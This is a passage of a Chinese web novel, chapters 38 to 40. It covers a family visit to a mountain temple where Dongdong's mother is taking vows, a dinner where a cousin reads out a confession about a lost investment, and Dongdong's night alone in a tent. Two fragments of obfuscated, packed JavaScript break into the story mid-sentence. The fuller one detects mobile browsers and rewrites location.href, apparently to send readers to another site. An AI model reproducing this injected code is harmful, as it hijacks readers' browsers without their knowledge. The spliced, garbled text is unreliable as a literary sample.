实际那本书压箱底了,不是不想看,是平日的作业都没法即时完成,那书翻开的机会都没有。到高考前夕,心情紧绷着学不进去,拿出来瞅了,才发现这题技巧,和市面上杂糅的教辅书籍的相差无几。就是广告好听。 她总信这些的。短视频博主是成功的例子,方法论讲得明明白白,让她要不断自我提升。到目前为止,收藏夹越堆越多,可在第一次刷到过有过决心后,下一条视频过去,就抛掷脑后,再也没打开过了。好吧,即便是看着“自我提升”的短视频们,她也是开的倍速播放。 真看完还有点印象的,还是剧情向的番剧解说。这本身是她感兴趣的领域。 表姐的生活就是两倍速的频率。大学恋爱分手恋爱分手,毕业后相亲相亲相亲相亲……结婚。工作离职创业,创业失败继续工作,又被开除继续面试,找新的工作,到现在这份工作是二叔朋友的公司。前几年结婚买了房子,搬进新家的第一年就添新丁。 昭岁和同学讲起时,吊诡的是她们不约而同地说身边的姐姐哥哥们也有一样的脉络。 从前表姐对昭岁爱看动漫嗤之以鼻,现在她还会了解,为了照料小孩。性格也变了。 人们应该在既定的轨道上,平缓前进,才能找到安稳的感觉,如果有人切换铁轨的方向,也大差不差的,总归是稳的。没人要真的让车脱离轨道。 就像在饭桌上,自家的话题只能谈点轻点的、淡点的,要真谁谈了太重,就会心照不宣地保持沉默。这看着丧失了一种直面的勇气,实际是安全感太重要了,哪怕是虚空的安全感。 家庭和睦,就是家庭的安全感。 这头没在映年上问到话,转而就向着咚咚发问,句式都一样,只是环境换成了“摄影爱好者”群体。 咚咚在啃骨头,咬到了脆骨,吃得咔嚓咔嚓的。她没回表姐的话,转头问向三姥姥:“你想我恋爱结婚吗?” 三姥姥咀嚼的动作停下来,盯着咚咚,一时没说话。咚咚呼了一口气,来回表姐:“明天上去佛寺,问我妈。” 表姐尴尬地笑两声,表姐夫来打了圆场,说咚咚三人玩乐这么多天,应该收获颇丰,碰到什么趣事没。没人理他。 按理说,这是在等咚咚的话,她不该把话掉在地上。 祁孝逑成了暖场的那位,说着这一带的游览项目,让明天去逛逛。刚到冰点的氛围,稍稍好了点。 突然又在某个瞬间停了下来。好在饭桌上的菜基本完毕了。 刚该说话的咚咚,在这是开口了:“桂花糕说开店找我入股,我投了两万。” 这话一出,众人目光转向咚咚,再转向桂花糕。 昭岁心惊。一是咚咚点燃了爆炸的引线,把这“危险”的消息摆在饭桌上讲。二是咚咚的隐瞒,二人就桂花糕一事聊过,咚咚说没借。 被点名的桂花糕没动。 齐美棠突然推了一下他,桂花糕弹了起来。他从兜里掏出一个小方块,是折叠的纸条。折了很多层,他一层一层的摊开。纸薄,呈黄灰色,光照着透出字的痕迹,还有些被戳破了。 昭岁隐隐猜到这纸取材于何地,又在何种情况下写得。 饭桌上的自动转盘还在旋转,飘香着菜。众人都搁了筷子,就只有咚咚还在啃着那块排骨,满嘴都是油。 桂花糕开始念了。他的声音颤抖,带着蝉市特有的黏稠湿润,鼻腔声使得吐字不太清晰,不像是忏悔,更像是哭诉。 他哭诉如何被室友欺骗投资店铺,哭诉合同的白纸黑字像是迷魂汤一样的存在,那串串数字的零头让他兴奋不已,他没完没了讲着,讲完投资便讲欺骗齐美棠过来手术,实际是想东山再起,再讲门店跑路,一切归无。 这套路的演变,从五年前升级到了现在,齐美玉落入的圈套,桂花糕再次踩入,代价要大得更多。 昭岁听着,她头皮发麻。 一边带入桂花糕,居然齐美棠逼着桂花糕在佛前写着忏悔,又对着家里人群念出来,这是多么折损自尊的事情。对比齐美棠的强势,齐美裳的管控都不够看了。 一边带入齐美棠,这笔钱可不算小,齐美玉曾经暴雷过,桂花糕还能踩进去,实际上的责任都是齐美棠担着,钱才是最耗费心血的。比起这,“悔过书”无关痛痒了吧。 而最让昭岁在意的是,咚咚的投资。那笔钱应该会被齐美棠重新归还回来,可这份回转的圈套重新降落在咚咚的身上,带着宿命般的气息,非常不祥。 她转头看向咚咚。咚咚安然地还在咀嚼,似乎早有预料。某个瞬间,昭岁生出了奇异冒险的念头:咚咚是否明知不对,还继续为之呢?她为这想法而不可思议。 那咚咚的动机是什么?昭岁望向桂花糕的那张纸。何处都有佛,齐美棠何必带着桂花糕远来蝉市呢?齐美玉在这里。 提出的问题,昭岁只能模糊的答案,不敢再往深处想。 想着,脑中又不可避免的冒出问题……那桂花糕会不会去当和尚?真当和尚,她还瞧得起他一些。 念完,桂花糕没有重新坐下的机会,齐美棠站起来说:“以后谁再借给贵发钱,一律不还了。” 映年是接话的那位,问题是:“你让陈恩柔 投资没?” 桂花糕“呃”一声,摇头说:“没有。” 映年信不过:“真没有?” 桂花糕:“没有。” 映年还想问,齐美棠收拾着椅子上的包,说:“我拉了个基本的名单,回去再检查一下遗漏。” 齐美棠这样说,映年便没再问了。 母子俩没再多言,齐美棠说着要赶飞机,拿着包站起来,带着桂花糕走了。她脚步匆匆,踩着后跟的高跟鞋,敲在地上,响声“嗒嗒”。 昭岁竟看出了狼狈。 ——比起桂花糕那点自尊,稳坐席中的齐美棠才有凌迟之感吧。 于此同时,映年也起身来。刚发的几条消息,大脸猫没回,更上面一条,是映年在滑板聚会后发给她的,同样没回。映年还是不放心,她边往外走,边拨打大脸猫的电话。 饭桌里,谁都没再主动暖起这个场。 咚咚啃完骨头,她站起来说:“这顿饭我们家请,谢谢大家来看我妈妈。” 齐美裳想说话,被祁孝逑拉住了。 酒楼大厅人来人往,映年手机放在耳边,听着那头大脸猫接通电话。 “你怎么不理我?”映年问。 “什么事?”大脸猫问。 “我发微信给你了。” “有事说事。” “齐贵发的投资是有问题的。” “你一早就知道?” “刚知道。” 大脸猫笑着“呵”一声,有种不出所料的感觉:“是,你也不关心。” “你有投钱吗?” “我没有,”大脸猫说完,映年松了一口气,又听着她说,“曾帅投了,借钱投的,钱滚上来了。” 映年在想曾帅是谁,脑海中检索了个遍。 “他本来要买房的,结果现在连租房都不太行。” “一个月,能滚多少钱?”投资本来就有亏有赢,桂花糕是假的,可斟酌投资决策的他自己。 大脸猫又笑了一声,对映年的问句很难过,她问:“你还认识曾帅吗?” “小学同学。”映年实际是猜的。 “就是他让我给你买点吃的赔罪。”大脸猫说,“你的明信片我收到了。” 映年说:“还好……我还以为掉路上了。” 大脸猫这次真笑了,她说:“那天之后,我想了很多,我确实错了,我不该让你陪我。我们俩重新联系,是因为滑板,一起玩的自然就是滑板。朋友分功能,我强加给你了功能,让你不自在了吧?” “……没有。”映年感觉什么正在流失。 “你反而不诚恳了。”大脸猫说,“我挺意外你会寄明信片给我。” “我回来可以陪你吃饭的,逛街也行。” “可以的,你的边界感让我很轻松的,我想通就很轻松了。”大脸猫也没拒绝,映年听着觉得奇怪,或许大面侧从前就是这样的,只是映年没有察觉,“我一定还有让你不舒服的地方吧?” 这份忏悔,比起桂花糕的朗读,映年觉得难受,像是大脸猫一把利剑划出了清晰的边界。 她从前想要的,不就是这样的吗? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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讲完这些事,她们聊起来,说着近况,偶尔问着映年,映年有问有答。一号床说:“你多久回来?” “月底吧。”映年说。 “我买房了,过来看看。”一号床说。 “哟,有人说这辈子都不买房的呀,租房最划算了。”二号床语调都变了。 “哪的地段,多少?”三号床问。 一号床报了地名和价格,又详谈了一下情况,三人都觉得高了。映年没说出来,二号床点出来了。 “我觉得有个念头说,我想买了。我观望了三个月,还是想买,那就买了。”一号床说,“自己住,就不计较了。” 她们话密得映年插不上进去,等到问到映年说,给了她话口,让她加入。实际说的也不多,偶尔说上两句,她还是听的那位。可感受已经不一样了。 不过,今天有讯号:同龄人都在买房、结婚、拼学业时,她的生活停滞了。 _ 齐美裳定的三室一厅,原计划是夫妻睡客厅,孩子一间,大姥姥一间,三姥姥和咚咚一间。咚咚觉得不妥,让大姥姥和三姥姥住一块,自己和齐美裳夫妇调换。 昭岁让她来房间,咚咚果断拒绝:“沙发比睡袋好吧?”昭岁就不再劝。 这会儿,除了洗手间还在使用,外头就只有三姥姥在看电视。就出门半个多月,三姥姥已经学会了如何用u盘插电视剧播放视频,下载的是一套健身操。 她让咚咚一块把茶几抬到了墙边,站在了地毯上面跳。很多动作做得不太到位,屁股蹲不下去,肩膀没办法完全展开,地板动作是最标准的,趴着,很像是一只鳄鱼。到一半就汗如雨下,喘得不行,三姥姥却没停下来的意思。 咚咚靠着沙发,在玩手机,偶尔目光撇过去。她想睡觉了,又不想打断三姥姥跳操。 “养老钱”三姥姥的真心话 ,还有部分原因是:她总归觉得开店不是件稳当的事业,开三轮车尚能稍稍控制亏损,开店不太行。齐美玉的投资暴雷不只是影响了她,连带着三姥姥也开始谨小慎微。她们家,经不起折腾了。 再说,航空公司哪里不好了?咚咚学出来,个子高高的,减减肥化化妆很匀称,进去飞几年就能升职。 当时三姥姥就是这么讲的。如果齐美玉接班车厂的活儿,也不至于走到后面的地步。稳稳当当的。 或许归根结底,在三姥姥眼中,齐美玉和咚咚是一类人。齐美玉的起始资金是靠着杨梅园,咚咚也要靠着长辈的扶持。 那次阻拦,咚咚认为更像是一次“警告”:没有家里的托举,连起步都没法。 这次桂花糕的失败,能让三姥姥的想法更笃定吧。咚咚想。 明天的计划是一早上山去佛寺,中午吃斋饭,下午听诵经。后天才是真正的剃度时间,如果不坐轮渡,后天到也行。齐美裳给齐美玉电话过,那头说一定要来的话,不要那天来。 实际上齐美玉真正有空的,就是中午吃饭那会儿,下午在忙,根本见不到的。咚咚认为听诵经太形式主义了,但这个计划谁都没反对。 昭岁洗完澡出来,路过客厅,见着三姥姥在跳,她也站在一旁扭扭屁股又扭扭腰的,再坐在沙发上。 “晚上要不要我陪你睡?”昭岁问。 “我没什么的。”咚咚说。 “……我怕。” “你怕什么?” “我怕一个人睡。” 咚咚笑了。 昭岁开始讲起下午出去逛逛的事情,说起看着雕的那尊佛,说起拾木的孩童,还有难喝的咖啡。 “你也觉得咖啡难喝?” “对啊。”昭岁笑,又貌若威胁,“你别告诉我姐。” “我觉得雕佛的人很自私。” “为什么?” “对面是书店耶,拿出来正对着雕,看书的怎么办?不要给我说佛前自静,佛像和咖啡,都是明码标价的。” 39.第 39 章 出门前,昭岁背了个挎包,咚咚也带着登山包。咚咚打算在佛寺留一晚,怕坏规矩,帐篷睡袋都带上了。昭岁问三姥姥要不要留,把睡袋借给她。没等三姥姥开口,咚咚拒绝:“她要回来跳体操呢。” 昭岁觉得咚咚不讲理,又问了一遍三姥姥。 三姥姥说:“不用,我要回来跳体操。” 虽然被拒绝,昭岁还是装着睡袋,背着登山包出门。 上有两种方式:爬山、缆车。 老人小孩坐缆车,其余人爬山。数人头的时候,三姥姥要爬山。 怀山不高,寺庙在山腰处,再往上,就要从寺庙独立出来的狭道过,才上去了。缆车就在山顶上,要往下才能到佛寺。 无论从何处走,总归是要自己走一段路的。 据说怀山之前没那么高,佛寺在南宋时期就有,那会儿还只是稍高的平台,现在居然成了一座山。原因是蝉市总闹水灾,怀寺收留流民,让佛感受到了。 昭岁见映年要开口,怕她煞风景地说些地理知识,抢在前头:“心诚则灵,心诚则灵。” 三姥姥说:“有缆车好,买菜就不要背着篓上山了。” 咚咚说:“又不是没背过,这有什么。” 齐美裳说:“平时都是义工在负责的,也是爬山上去的。” 爬山不是一件枯燥的事情,和亲戚一块爬山,就很枯燥了。和把饭桌上要聊的话题,搬到行程来一样。 佛寺有股烟熏火燎的气味,这是香的气味,咚咚闻着,觉得鼻子很痒,影响呼吸。越往上,这味就越浓,她适应不了,连打了几个喷嚏,鼻涕流了出来。 往上走,她抬头望见了三个圆溜溜的光头。还以为是上山的信众,三叩九拜地上台阶,虔诚得将裤子磨蚀了。走进了,才发现不对,他们胸前的都绑挂着照片。隔得远,咚咚撇过一眼,看不清照片人物的脸,但恍然而过的蓝白病服很清楚。 等走过一段距离后,昭岁应证了她的猜测:“家里重病吧,来求佛的。” “……现代医学比这管用。”咚咚说。 昭岁看她。前两天咚咚裤子破了,用胶带粘起来了,洗了之后又粘起来,明明有好的裤子,非要穿着那条裤子较劲。今早起来,那条裤子被三姥姥用别针一寸寸地扣着,造型奇特。上山路就像是红毯路,咚咚绷着劲儿在走。 到稍微靠近佛寺的地方,有几间商铺,卖的都是些天然石头,里头有人把红玛瑙翻得“欻欻”响,是在找名字。 上头写着“红玛瑙石名字,五元一颗”,店内还有“开过光”的各种石头,老板的话是说:“不放心的话,买没开过的,自己去寺庙里找大师开光。” 她们站在里头,看亲戚们在挑选玛瑙石。昭岁和映年也在看石头,就咚咚坐在板凳上。她听着翻找石头的动静,对这材质起了疑心,不然听着怎么这么像是麻将在碰撞。 “找到你了,咚咚!”齐美裳举着两颗红玛瑙展示,“一会儿你带着,我们去找大师开光。” “我不习惯带手链。”咚咚说。 “那大姨给你买个吊坠怎么样?”齐美裳问。 “不用破费,我不喜欢带饰品。” “无事牌吧?挂包里也行。”齐美裳说着,真从兜里掏出了一块黄金牌子,显然蓄谋已久,上头还有这“齐冬”二字,“你也别怪五姨她们,这是她送你的。” 咚咚对赠送者存疑,但还是收下了无事牌。 她说:“不打算开光的。” 齐美裳:“没事,她给你开光了。” 咚咚:“……” 到佛寺时,还没到中午。 祁孝逑去香烛售卖处买了几套,分给大伙。寺庙不大不小,盘踞在整个山腰下。神仙分庙,求的也不同,她们分散着上香。昭岁去了文殊菩萨的寝殿,咚咚陪着她一块去,在庙前就要点香叩拜。 “你不找财神爷,来拜成绩有什么用?”昭岁问。 “我给你拜。”咚咚说。 昭岁笑了,刚想说,也没说,让咚咚燃了香插在壁炉上。 “你不拜吗?”咚咚问。 “我等会儿去财神爷那给你拜。”昭岁说。 咚咚便不接话,跪在蒲团上,说着:“希望昭岁能顺利通过科目二。” 昭岁没驳咚咚,她清楚咚咚绝非就这样为她求佛。 拜完佛,一行人聚在一块吃斋饭。 免费的斋饭,没有公共的餐厅,只能坐在凉亭的椅子上,捧着一次性盒饭在食用。 三个菜,油豆腐、白菜和凉拌三丝,她们来的草,还没闷太久,可没啥油水,很清淡。 “这一点都不环保。”咚咚说。 “这是可降解的。”昭岁说。 “你平时过的都是这种苦日子啊。”咚咚转头看向映年,挑着菜,吃起来不是滋味。 “我不觉得苦。”映年说。 这点,昭岁认为咚咚太不礼貌了:“你别这么臆断吧,每个人选择的生活方式不一样。” 咚咚盯着她,别过头,大口地刨着饭。 映年成了安慰着劝的那位,轻轻拍着咚咚的背:“没事没事,不怕不怕。” 斋饭吃完,她们坐成一排在休息。 齐美玉就是这时候来的。她穿着灰色的短袖和休闲裤,和打饭的信众相同,头发已经是个寸头了,耳垂上的耳洞空空肉肉的。 从前齐美玉的耳洞总在季节交替的时候反复发炎,到后头挣钱,买了黄金带着情况稍稍转好,等事业低谷那副环节耳病的黄金,自然也卖掉了。耳朵又进入了反复折腾的循环。 可能是佛寺真能有什么灵丹妙药吧。 她的面相变得严肃许多,可眼神很柔和,看过来时,带着慈爱。咚咚明了,这份慈爱,不是母亲的,是信众的。 昭岁挪了位置让齐美玉坐在咚咚身边。 她没坐下,手搭在咚咚头上说:“冬冬长胖了。” 咚咚低下头,再抬起来,喊了声:“妈妈。” 距离两人上次见面很久了。咚咚总认为齐美玉会回来,没想到还是她奔赴而来。 真见面,能说的好像也不多。齐美玉讲佛寺生活得很好,师兄师姐都很照顾人,生活规律了,人轻松许多,需求不高,下山的时候变得很少,平时拿手机的时间也变得少了。 咚咚知道,齐美玉到这修为的阶段,绝对不是在强调没回微信消息。可她难免这般想着。于是生出了愤怒,对齐美玉这么洒脱的愤怒,她疲惫不能消解这场愤怒。愤怒纠缠了她一路,到现在终于燃烧起来。 她想怒骂齐美玉不负责任,像个孩童般无理取闹,不让齐美玉真的出家。她想祈求佛祖不要收留齐美玉,让齐美玉继续做她的母亲,不能这么轻巧地离开。她还想抱着齐美玉痛哭,问齐美玉为什么,为什么要这样? 为什么——凭什么? 她凭什么这么做。 咚咚什么都没做。 “你爸前两天过来了一趟。”齐美玉说。 咚咚“噢”一声。 齐美裳警铃大作:“他来干什么!” “没什么,都过去了。”齐美玉来语气都变柔和了,语速变得慢。 齐美玉越是洒脱,咚咚越是愤怒。愤怒齐美玉,同时愤怒自己的愤怒。 斋饭后还有清洁要打扫,齐美玉不能留太久。昭岁怕没机会再见到齐美玉,把包里东西都拿出来,这一路买的纪念品,规规矩矩放在盒子里,一个一个的介绍,说是“谢谢三姨让我有机会体验”。 咚咚以为齐美玉不会收,都是身外之物,没想到齐美玉很欢喜,感谢昭岁。咚咚看着,觉得这笑和那一刀一刀凿出来的佛像一样,稳定地慈爱。 三姥姥也把东西拿出来,带的多是些吃食,酸黄瓜被抽了真空,一排排的码好,除了颜色之外,就很像是包装好的香肠。 “你的呢?”三姥姥问。 “我只带了牛肉干。”咚咚说。 三姥姥拍了一下她的手臂。 “没事。”齐美玉说,“留着回去路上吃。” 三姥姥又说:“快递还没到,还有些呢。” 齐美裳用保温盅炖了素汤提着,要交给齐美玉。齐美玉说:“中午我吃了,晚上再和师姐们分着吃吧。” 这很像是逢年过节送礼的环节,少了推拒来去的客套,彼此都当作了依依惜别。 咚咚突然说:“巧巧姐问我,有计划结婚没,我让她今天上山问你。” 表姐被她惊到,想要找补:“我没这么说。”说完,她感受到不妥。有当着面被“告状”的实感,又在佛前撒谎的忧虑。 “巧巧是个好孩子。”好在齐美玉宽恕了她,“冬冬这些事情,冬冬自己决定就好。” 咚咚后悔自己问了话。 齐美玉离开,大伙又休息了会儿,依照寺庙的时间,去到内堂听诵经。 明天是农历六月十九,观世音菩萨成道日。鲜花摆上了,空地上有许多深坛,里面装满了淤泥和清荷。观音也是坐在莲花上的。 许多信众送来各自的贡品,多是苹果香蕉一类,还有应季的山竹西瓜,佛通通容纳。 寺庙有驻留三日的活动,有人报名。昭岁让咚咚报名,咚咚没有,她不想占用名额。 听诵经时,各自坐在蒲团上,没人玩手机,闭目在听。 咚咚觉得那团火平息了些。她摘下眼镜,放在怀里,睁开眼睛时,看着面前观音的脸模糊成了一团,好像离得更近了。 她们就这么坐了两个小时。 起身时,咚咚鼻涕流了出来,是迟来的气味刺激。 到该下山的时候了。齐美裳想登山后,做缆车下山,算是逛完了整座怀山。 这次咚咚主动问了三姥姥要不要留下来,她还是说了不。昭岁想留下来陪咚咚,被映年拦住了。 三姥姥说:“留下来,就和你妈好好谈谈。” 咚咚说:“不要你管。” 于是咚咚一个人留下来,其余人上山去了。 大姥姥腿脚不好,刚才下山废了力气,现在上山已经没力气了。二叔和祁孝逑轮流背上去,二叔净长个儿了,身子板精瘦,真要背起大姥姥不太稳。齐美裳担心得很,让祁孝逑背着,他背着更稳,可负重爬坡还是费劲,走着汗水一股股流下来。 到中途,祁孝逑还是停下来休息。一行人坐在凉亭上,齐美裳在看晚上去吃什么,又发了条消息给齐美玉,让她务必今天想用那盅汤。 休息完毕,祁孝逑要背,齐美裳拦住了,让她来背一会儿。大姥姥就这么趴在了齐美裳的背上,抓着齐美裳的肩膀尽量往上靠,不给添乱。 齐美裳身子不见得比二叔稳多少,但顾及母亲,一步一步走得很扎实。齐美裳就这么硬背着,还是在中途卸了气。这会儿,大姥姥下来,祁孝逑要接力背,大姥姥不肯了,杵着登山杖往上去,后头有人护着,走得很慢。 她说:“我自己走。” 齐美裳终于有了怒气:“等你走,要走多久,缆车专门为你开的?等会错过收班时间,怎么下去,又挨着背你下去。回头又和我吵,说走多了腿痛。噢,上午让你下山那一截,估计回去就够你念了。” 这话一出,大姥姥没顶撞,接受了祁孝逑背着。 三姥姥的锻炼初见成效,走得利索,和她讲:“今天和我一块跳操。” 大姥姥:“我不要。” 三姥姥:“也是,你本来就该比我先死。” 大姥姥:“……” 映年走着,冷不丁问一句:“三姥姥能吊单杠吗?” 昭岁似有预兆的看过去。 三姥姥回答:“可以。” 映年:“可以拉引体吗?能拉几个?” 昭岁翻了个白眼:“我发现你这人挺有幽默细胞的。” 三姥姥:“不知道,没试过。” 映年:“那一会儿找个公园试试?” 两人真就聊了起来的,大姥姥趴在背上,忍不住说:“以后别拉着我上山。” _ 咚咚在寺庙后面的土地上搭起帐篷,她躺在里面睡了会儿,日照上来,又闷又热,没到晚饭的点儿就醒了。出来把帐篷锁好,重新进入佛寺,她坐着就坐着,不知道该干什么。 有义工在免费发放花串,教信众怎么盘成一串,戴在手腕上。咚咚看着,等那边义工目光扫过来时,又别开眼去。 还是心虚,于是站了起来,往佛寺的观景平台去。这片聚集不少人,咚咚人高,没挤到前面去,就在边缘看,望下去,能瞧见江滩的景观。 那有一尊背靠着江的佛,高大肃穆,贴着山脉伫立,头高出城市马路一截。江水上涨,青绿已经浑浊,一浪一浪拍打着大佛。要涨潮了。天气预报没大雨,这水是从上游来的,过境翻起来,过几天离开又会恢复原状的。 “这次之后,要重新修缮的。”后头有人说。 咚咚回头,发现是刚才教着如何编花绳的义工。这人模样很英气,声音偏中性,眼神清澈,皮肤光滑,咚咚一时分不清是男是女。 义工说:“晚上齐姐在内殿诵经,你要去,我带你去。” 咚咚说:“我不去。” 义工说:“那好。” 咚咚急着拉住义工的肩膀,触感很奇怪,又硬又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192073|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软。 从窗口望进去,只能看见齐美玉的背影。齐美玉说咚咚胖了,实际自己也胖了一圈,坐在蒲团上一坨,扎扎实实的。 咚咚站的位置不是好地方。空调的排扇在这,呼啦呼啦吹着一阵热风,头发飘起来,又黏在汗涔涔的脸上。 汗流下来,她掏出纸去擦,擦不干净,取下来眼镜,继续擦。视线一团模糊,殿里的观音和齐美玉分不清远近,都在一个平面上,互相融合。 她站在这,不知道要做什么,相机还挂在脖子上呢。要不要给齐美玉分享,和没想好。 佛殿内,不准许拍照的。她热得受不了,坐在凉亭上缓了一会,又转向洗手间,洗了把脸,拿着纸巾擦了一遍脖子。再把相机的带子取下来,系得很紧,指甲翻了几次,终于解开了,拿在流水中用洗衣液搓洗冲了冲,重新穿到相机上。洗手间光线不好,她出来坐在凉亭上穿,穿了一会儿,重新穿好,挂在脖子上,感觉凉飕飕的。 做完这些,好像真的没事可做了。她又重新站在空调的,从窗口探进去,人已经不在了。 咚咚提着心,有点失落,又感觉如释重负。 坐在凉亭里,视线里看着信众在往烛台灌水,红烛插在上面,一滴滴落下来就落在水里,瞬间凝一片片的。香灰不能回收,蜡烛能不能呢。供佛的水果,全然不会浪费掉的。 她坐着,在想晚餐吃什么。下午不提供斋饭,她带了自热米饭,哪怕包装多么精美,都不可能是真实的回锅肉,可在寺庙前,她清楚这总归是荤的。今晚还在宿在这,不妥不妥。 咚咚生气昨天收拾行李是放的不是面包,还很生气今天穿了这条裤子,显然很没有必要。 干脆就不该来的。 咚咚的出现,对于齐美玉也没有必要。 ——或许咚咚没出现,齐美玉不用结婚,能过得会更好。如果可以,她情愿不出生。 _ 一个缆车荷载四人,齐美裳要顾着大姥姥,带着人坐一辆。映年、昭岁、三姥姥和二姥姥坐在一块。 二姥姥在向三姥姥交流健身操的情况,说了一通,话题到问她是不是真想养老院。 “去啊,怎么不去。”三姥姥说,“不然呢,总不能赖着咚咚吧。” “怎么叫赖呢?”二姥姥说。 “我看美玉挺好,咚咚还过不去坎,我就不去掺和了。” 昭岁和映年在玩手机。 映年还是给大脸猫挑了一串红玛瑙,当然室友们同样有份,在看山下哪有快递点能寄出。昭岁无聊,班群里已经在说明后天志愿录取的事情了,心情很忐忑。 突然有条信息蹦出来,是家族群。 齐贵发:为什么每年都是我妈出钱来给大姥姥交的养老院费用。@全体成员 点进去,还没来得及回复。 下一秒,齐贵发撤回了一条消息。 再下一秒,映年点开他的头像信息,已经不是群成员了。 昭岁和映年对视一眼,视线转向还在聊天的两位姥姥。 “手机给我。”映年说。 “怎么?”昭岁疑惑。 “给我。” 昭岁把手机递出去了。 映年在群成员的界面里点击加号,把邀请链接发给了桂花糕。她微信没加桂花糕的好友。 为了避免给昭岁惹麻烦,她没打字,直接发的语音。 她说:“进来,重新发一遍,不要撤回。” 昭岁没说“算了吧”,她还庆幸齐美裳没和她们坐一辆缆车,不然哪有算账的机会。唉,也不一定,映年才不会顾及谁在场。她什么时候能和映年一样英勇。 对方没回。 映年又举着手机发了一条:“等你两分钟,或者我电话过去。” 这副姿态,让两个姥姥问什么情况。映年刚想说,昭岁鼓起勇气,讲起了刚才桂花糕的言论。 手机抖了一下。 桂花糕:我说的不是事实嘛? “这孩子,平时美裳跑前跑后的。”二姥姥说。 映年打开语音:“是事实,你撤回干什么?我让你重新进群说。” 语音发过去,是红点。 桂花糕太怂了。 二姥姥说:“映年和贵发就一直不对付,分开这么久还这样。” 三姥姥说:“以前贵发欺负咚咚吃得多,抢她吃牛肉干,被映年揍过,二打一,贵发输了。” 那次是小孩之间的打架。 二人围堵桂花糕,他招架不住,爬上了树,映年在下头拿石头砸,咚咚往上爬去抓。桂花糕越爬上去,越想蹬着上来映年,被她一把拽住脚一块摔下地了。她反应迅速,把桂花糕拉着垫背,没伤多少,桂花糕就磕破了膝盖。 姥姥们做完农活才知道这出,通知了家长。齐美棠来了,带着一大包干货来,不止牛肉干,还有各种肉制品,送给咚咚,带走了桂花糕。 映年不知道私下齐美裳有没有和齐美棠道歉。她希望不要。 昭岁正好是在传染病隔离,祁孝逑回乡时带着人过去,她只知道那暑假零食不断可幸福了。她的印象中,咚咚就不太爬树,笨手笨脚的。哪怕到现在,动起来也不协调。哪有她们说的那么灵活。 齐美裳私下有没有道歉确切,齐美玉道歉了。 批了一顿咚咚,要懂得分享。咚咚说那是分享之外的情况,桂花糕就是抢。母女吵了一架。 那会,齐美玉正在向齐美棠取生意经,想打通市场,将罪责怪在咚咚的身上。 临到暑假结束,厨房突然多出了一篮子杨梅。 咚咚嘴馋,洗了些,边看电视边吃。马铁回来,勃然大怒,问她吃的什么。咚咚怯生生地答杨梅。马铁更生气了,齐美玉也在摇头,问她为什么要去偷杨梅,拉着她要去给大姥姥道歉,连累了映年摔断腿。 她哭着宛如霸王龙在咆哮,死拽着门不去,齐美玉对她失望的眼神,告诫她“做人要有担当”。 咚咚开始怀疑自己的记忆,在想是不是她记错了,真是真的,下午播的那两集恐龙动画片她一点印象都没了。作为惩罚,齐美玉许诺的儿童火车之旅也泡汤了。 映年提前回了城,她要等到下个长假才能见到映年,揣摩着要怎么道歉,担心映年真成了个瘸子。没等到,寒假只有昭岁回来,咚咚以为映年因为腿疾去世,这不就是她成了凶手! 她便在后山杨梅园用石头垒了个墓,连着几天拿着好吃的去上坟。直到昭岁来找她玩,才晓得,原来是大姨离婚了。 十年后,家宴里听着映年说起来,那日的真相终于揭晓。 原来啊,原来啊。 40.第 40 章 咚咚只吃了个佛赐的苹果。这对她不太够,包里的自热米饭和火腿肠拿出来,端着看了一会,体会一把画饼充饥。 齐美裳炖的汤,咚咚尝过一口,可鲜可鲜。她要是去找齐美玉,绝对会舍给她的,像给师兄师姐一样。她不想去找。 她坐在帐篷里,一扣一扣把裤子的别针取下来。这不知道什么时候,被三姥姥逢上的,如果忽略掉她不太端正的走路姿态,看着很有设计灵感。比胶带好很多。 不该嘲笑映年袋子破的。 咚咚钻进睡袋里,闭目了会儿,出来把相机打开。架在云台上,放在帐篷一角,调整后镜头,盘腿坐下。 对着镜头,咚咚打招呼,来回几次,不太自在,环节卡在了说“hello,我是咚咚”的步骤上,连删了几条后,她改了词和动作。双手合十,闭目低头,再起来,故意压着嗓子变得浑厚,语速变慢:“各位好,我是咚咚。” 开场过了,她停住,把自己都笑了,接下来不知道说什么,把相机按了暂停键。呆坐了一会儿,又开机了。 “晚上吃了一个苹果,喝了半瓶水,有点饿。” 又没话说了。她负气关了相机,重新钻到睡袋里,闭目了一阵,再次起来,把相机打开,对着睡袋的方向,躺下了。 她对着镜头说:“我要睡了。” 说完咚咚翻身正面睡着,帐篷没封顶,从蚊帐的薄纱中望向天空。天空什么都没有,反而泄漏了气进来。 她又起来,把天顶关上了。 好像一切终于安定下来,咚咚可以进入梦乡。迷蒙间,咚咚竟真的睡着了。 有东西在刨帐篷。 咚咚几乎第一时间就醒了,她打开吊在帐篷上的灯。这一片香火旺,虽在山中,比起城市更干些,又有气味,她倒是不担心什么蚂蝗虫蛇。 拉开帐篷,是一只猫。 彩狸,比视频中胖,毛发蓬松,两只耳朵颜色不一样,尾巴也带着色。 “咪咪。”咚咚唤它。 咪咪“喵”了一声,打了个滚,露出肚皮来,要摸摸。咚咚摸着,把相机对着咪咪,在画外解说:“这是咪咪,怀寺的猫。咪咪,给大家打个招呼。” 咪咪很有镜头感,盯着相机,乖巧地摇着尾巴。 咚咚笑:“那咪咪大仙,也祝我发财吧。” 咪咪卖艺卖了一会儿,要离开了。咚咚想留下它,感觉引诱实在很低劣,又忍不住,猫总归不会吃素的吧? 于是她去摸背包,摸到一团湿润润的,心下一惊,打开背包,香火味太浓又隔着背包,没闻到,这下,整个鼻腔都是酸味。不知何时,密封着的酸黄瓜不知何时破掉了,把整个背包内部都浸湿了。 她去抢救今天在寺庙里得来的佛经,放在隔层,还好还好。翻开看,看不懂,又合上,放在睡袋上。 